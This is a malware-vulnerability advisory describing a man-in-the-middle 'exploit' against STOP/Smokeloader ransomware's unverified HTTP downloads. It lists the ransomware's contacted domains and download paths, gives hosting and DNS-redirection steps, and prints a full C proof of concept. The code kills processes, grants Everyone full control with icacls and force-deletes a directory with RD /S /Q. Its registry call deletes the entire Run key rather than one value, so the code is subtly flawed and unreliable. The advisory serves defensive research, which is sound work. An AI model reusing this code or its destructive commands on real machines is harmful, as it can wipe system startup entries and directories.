Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024 Original source: https://malvuln.com/advisory/3b9e9e130d52fe95c8be82aa4b8feb74.txt Contact: [email protected] Media: twitter.com/malvuln Threat: Win32.STOP.Ransomware (smokeloader) Vulnerability: Remote Code Execution (MITM) Family: Stop Type: PE32 MD5 3b9e9e130d52fe95c8be82aa4b8feb74 Vuln ID: MVID-2024-0676 Disclosure: 03/22/2024 Description: There are two roads to exploitation for this particular ransomware, network "man-in-the-middle" or localized code execution, this advisory explores the network route. Stop ransomware makes several HTTP GET requests over an insecure protocol TCP port 80 to download secondary PE files "build2.exe" and "build3.exe" Moreover, no integrity checks are made on these files, well positioned third-party attackers who can intercept traffic can send back arbitrary exploit PE files. [Domains contacted] api.2ip.ua sajdfue.com sdfjhuz.com [URLs] /test2/get.php?pid=A41BF90C9233CFB5AAFE279642C3793D&first=true /dl/build2.exe /files/1/build3.exe Stop ransomware actions. 1) Creates two directories under AppData\Local, named with unique ID e.g. "2197cd80-6ccb-4fe1-97c0-57d05945fac6" 2) Sets deny permissions on the directory for everyone Everyone (OI)(CI)(DENY)(D,DC) 3) Creates Windows registry Run key "SysHelper" for persistence, that points to a directory in AppData\Local e.g. \Users\Victim\AppData\Local\407868e1-6d5a-44f2-81ba-a8fedd9ea8db\StopCrypt.exe 4) Copies downloaded malware to a second created directory under AppData\Local Exploit PE file executes as a child of the parent process malware and does following on our behalf. 1) Kill the parent process leveraging WIN32 API GetCurrentProcessId() Get parent process ID using CreateToolhelp32Snapshot() Call OpenProcess(PROCESS_TERMINATE, FALSE, ppid) 2) Delete registry persistence Run key "SysHelper" 3) Modify permissions on Stops backup directory to full access for everyone user group "/grant Everyone (OI)(CI)F" 4) Deletes the malware backup directory under AppData\Local [PoC/Video URL] https://www.youtube.com/watch?v=S6E62YIOczo [Sample] https://bazaar.abuse.ch/sample/caeecccfee0962fbe3d4fb4ab336bf3d1230b12ad0821ff66f7a2cabc289c954/ By the way, "urlmon.dll" DLL file exported by "RansomLord v2" can be used against this sample for local exploitation. Download: https://github.com/malvuln/RansomLord All tests conducted successfully in a virtual machine environment using DNS and traffic redirection techniques. Network Exploit/PoC 1) Compile the below "StopExploit.c" code as "build2.exe" and "build3.exe" 2) Create directory "dl" and save build2.exe here 3) Create directories "files/1" and save build3.exe here Note, In my tests exploitation worked with just the "build2.exe" saved in the "dl" directory. 4) Start web server on TCP port 80 python -m http.server 80 5) Intercept the Stop Ransomware traffic and DNS to server we control, send back exploit files. "StopExploit.c" #include "windows.h" #include "stdio.h" #include "tlhelp32.h" #include "psapi.h" #define BUFFER 512 //[+] Win32 STOP (smokeloader) Ransomware //[+] MD5 3b9e9e130d52fe95c8be82aa4b8feb74 //[+] Remote Code Execution PoC //[+] By John Page (aka hyp3rlinx) - malvuln //[+] ApparitionSec //[+] March 19, 2024 //========================================================================= //Abuses MITM insecure download over TCP port 80 to serve exploits to kill "Win32.Stop" malware //Deletes persistence Run key "SysHelper" and secondary malware backup directory //Tested successfully in Virtual Machine environment using DNS and network traffic redirection. //========================================================================= // //linker -lpsapi (Dev-C++) x32 // //========================================================================= /** DISCLAIMER Author is NOT responsible for any damages whatsoever by using this software or improper malware handling. By using this code you assume and accept all risk implied or otherwise. **/ //========================================================================= DWORD getParentPID(DWORD pid); void Kill_StopCrypt(); void DelSysHelper(); void EvictBackupMalware(char *maldir); int main(void){ Sleep(3000); DelSysHelper(); return 666; } void Kill_StopCrypt(){ DWORD pid, ppid; pid = GetCurrentProcessId(); ppid = getParentPID(pid); HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, ppid); if (NULL != handle){ DelSysHelper(); TerminateProcess(handle, 0); CloseHandle(handle); } } void DelSysHelper(){ char value[BUFFER]; DWORD BufferSize = sizeof value; LONG rc = RegGetValueA(HKEY_CURRENT_USER, (LPCSTR)"Software\\Microsoft\\Windows\\CurrentVersion\\Run", (LPCSTR)"SysHelper", RRF_RT_ANY, NULL, (PVOID)&value, &BufferSize); if(rc == ERROR_SUCCESS){ rc = RegDeleteKey(HKEY_CURRENT_USER, (LPTSTR)"Software\\Microsoft\\Windows\\CurrentVersion\\Run"); if(rc == ERROR_SUCCESS){ Kill_StopCrypt(); } EvictBackupMalware(value); } } DWORD getParentPID(DWORD pid){ HANDLE h = NULL; PROCESSENTRY32 pe={0}; DWORD ppid = 0; pe.dwSize = sizeof(PROCESSENTRY32); h = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(Process32First(h, &pe)){ do { if (pe.th32ProcessID==pid){ ppid = pe.th32ParentProcessID; break; } } while(Process32Next(h, &pe)); } CloseHandle(h); return (ppid); } char* concat(const char *s1, const char *s2){ char *result = malloc(strlen(s1) + strlen(s2) + 1); strcpy(result, s1); strcat(result, s2); return result; } void EvictBackupMalware(char *maldir){ char *infected_dir_path; int j = 0; int cnt = 0; int i; char array[255][255]; for (i=0; i <= (strlen(maldir)); i++){ if (maldir[i] == '\\' || maldir[i]=='\0'){ array[cnt][j]='\0'; cnt++; j=0; }else{ array[cnt][j]=maldir[i]; j++; } } char result[256]="C:\\Users\\"; char *r1; char *r2; for (i = 0; i < cnt; i++) { //printf(" %s %d\n", array[i],i); r1 = concat(result, array[2]); r2 = concat(r1, "\\AppData\\Local\\"); //reg run key path points to this infected directory infected_dir_path = concat(r2, array[5]); } //printf("target: %s", infected_dir_path); char perm[256]="icacls "; char *r3; char *perm_cmd; r3 = concat(perm, infected_dir_path); //reset permissions on dir created by Stop ransomware perm_cmd = concat(r3, " /grant Everyone:(OI)(CI)F"); system(perm_cmd); //evict backed up malware and dir char del_cmd[256]="RD "; char *force_del = concat(del_cmd, infected_dir_path); char *bye_bye_douche = concat(force_del, " /S /Q"); system(bye_bye_douche); } //malvuln circa 2024 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).